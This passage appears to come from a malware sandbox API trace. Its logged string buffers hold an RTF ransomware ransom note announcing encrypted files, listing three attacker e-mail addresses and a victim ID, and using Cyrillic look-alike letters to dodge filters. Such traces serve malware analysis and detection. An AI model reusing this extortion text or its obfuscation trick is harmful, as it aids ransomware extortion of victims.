\\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 